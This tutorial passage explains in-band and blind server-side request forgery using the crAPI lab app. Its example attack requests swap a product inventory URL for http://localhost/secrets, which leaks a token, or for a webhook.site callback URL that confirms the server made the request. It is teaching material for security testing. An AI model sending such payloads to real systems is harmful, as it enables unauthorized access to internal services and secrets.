Types of SSRF

There are two types of SSRF vulnerabilities, In-Band SSRF and Blind SSRF. In-Band SSRF, means that the server responds with the resources specified by the end user.

If the attacker specifies the payload as http://google.com to a server with an In-Band SSRF vulnerability the server would make the request and respond to the attacker with information served from google.com.

Blind SSRF takes place when the attacker supplies a URL and the server makes the request but does not send information from the specified URL back to the attacker. In the case of Blind SSRF, you would need a web server that will capture the request from the target to prove that you forced the server to make the request.

In-Band SSRF Example

For an In-Band SSRF, a URL is specified as an attack. The request is sent and the content of your supplied URL is displayed back to you in a response.

Intercepted Request

POST api/v1/store/products
headers…
{
    "inventory":"http://store.com/api/v3/inventory/item/12345"
}

Attack

POST api/v1/store/products
headers…
{
    "inventory":"§http://localhost/secrets§"
}

Response

HTTP/1.1 200 OK
headers...
{
    "secret_token":"crapi-admin"
}

Once you have discovered an In-Band SSRF vulnerability you could leverage control over the URL to scan the internal network environment, gather sensitive information from the localhost, or attempt to perform a remote code execution attack.

Blind SSRF Example

Blind (or Out of Band) SSRF takes place when a vulnerable server performs a request from user input but does not send a response back to the user indicating a successful attack. The app does not provide an unusual response to the user, but the server does make the request to the URL specified by the attacker. In this case, to know if the request was made you will need to have some control over the web server that is specified in the attack.

Intercepted Request

POST api/v1/store/products
headers…
{
    "inventory":"http://store.com/api/v3/inventory/item/12345"
}

Attack

POST api/v1/store/products
headers…
{
    "inventory:"§http://localhost/secrets§"
}

Response

HTTP/1.1 200 OK
headers...
{}

In this case, the response is returned and we do not have any indication that the server is vulnerable. Instead of http://localhost/secrets, we will need to provide the URL to a web server that will let us see if a request is actually made. Burp Suite Pro has a great tool called Burp Suite Collaborator. Collaborator can be leveraged to set up a web server that will provide us with the details of any requests that are made to our random URL. To stick with free tools, we will leverage https://webhook.site. You can also use one of these other free sites:

By navigating to webhook.site a random URL will be created. You can then use that randomized URL as a payload and track it to see if any requests are made to it. So, our Blind SSRF attack would look more like this.

Attack

POST api/v1/store/products
headers…
{
    "inventory":"§https://webhook.site/306b30f8-2c9e-4e5d-934d-48426d03f5c0§"
}

Once we submit this request we will not depend on the response, instead, we will check webhook.site for any new requests.

I chose to demonstrate SSRF using webhook.site because it is free, does not require an account, and allows you to create custom responses. You can use the edit button (top right) to create your own custom response.

In the response body, I have emulated what could be a web server that could be a part of the crAPI architecture. This URL can be leveraged for both In-Band and Blind SSRF attacks.

Now that we have reviewed typical SSRF attacks, you will need to know the types of requests to look for when searching for vulnerabilities.

Last updated